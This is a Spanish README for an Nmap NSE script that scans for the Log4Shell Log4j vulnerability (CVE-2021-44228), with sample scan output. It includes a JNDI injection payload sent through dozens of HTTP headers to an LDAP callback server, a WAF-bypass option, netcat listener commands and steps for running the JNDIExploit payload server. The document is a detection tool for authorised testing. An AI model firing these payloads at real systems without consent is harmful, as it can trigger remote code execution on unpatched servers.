
Script NSE de Nmap Log4Shell para descubrir Apache Log4j RCE (CVE-2021-44228)
nmap-log4shell es un script NSE para descubrir la vulnerabilidad Apache Log4j RCE (CVE-2021-44228) a través de la red. El script es capaz de inyectar el payload de exploit log4shell a través de cabeceras HTTP (por defecto) o a través de socket TCP/UDP.
CVE-2021-44228 es una vulnerabilidad de ejecución remota de código (RCE) en Apache Log4j 2. Un atacante remoto no autenticado podría explotar esta falla enviando una solicitud especialmente diseñada a un servidor que ejecute una versión vulnerable de log4j. La solicitud diseñada utiliza una inyección de Java Naming and Directory Interface (JNDI) a través de una variedad de servicios que incluyen:
Si el servidor vulnerable usa log4j para registrar solicitudes, el exploit solicitará entonces un payload malicioso a través de JNDI usando uno de los servicios anteriores desde un servidor controlado por el atacante. Una explotación exitosa podría llevar a RCE.
Localiza dónde están tus scripts de nmap en tu sistema:
~/.nmap/scripts/ o $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsCopia el script proporcionado (log4shell.nse) en ese directorio y ejecuta nmap --script-updatedb para actualizar la base de datos de scripts de nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: El servidor de callback (ej. 172.17.42.1:1389)log4shell.http-headers: Lista separada por comas de cabeceras HTTP (ej. X-Api-Version,User-Agent,Referer)log4shell.http-method: Método HTTP (por defecto: GET)log4shell.url-path: Ruta URL (por defecto: /)log4shell.waf-bypass: Usar payloads de evasión WAF (por defecto: false)log4shell.test-method: Probar a través de http (por defecto), tcp, udp o El script depende de las devoluciones de llamada (callbacks) del objetivo escaneado, por lo tanto, cualquier regla de cortafuegos o interacción con otros dispositivos de seguridad afectará la eficacia del script.
Escucha un puerto TCP con netcat (o ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Ejecuta Nmap con --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Ve la dirección IP del objetivo en la salida de netcat (o ncat):
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Descarga JNDIExploit desde GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Inicia el servidor JNDIExploit:
java -jar JNDIExploit.jar
Ejecuta Nmap con --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Ve la salida de JNDIExploit para ver la consulta LDAP recibida
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Este proyecto está hecho solo con fines educativos y de pruebas éticas. El uso de nmap-log4shell para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no se hacen responsables por ningún uso indebido o daño causado por este programa.
El proyecto está licenciado bajo la Licencia MIT.
all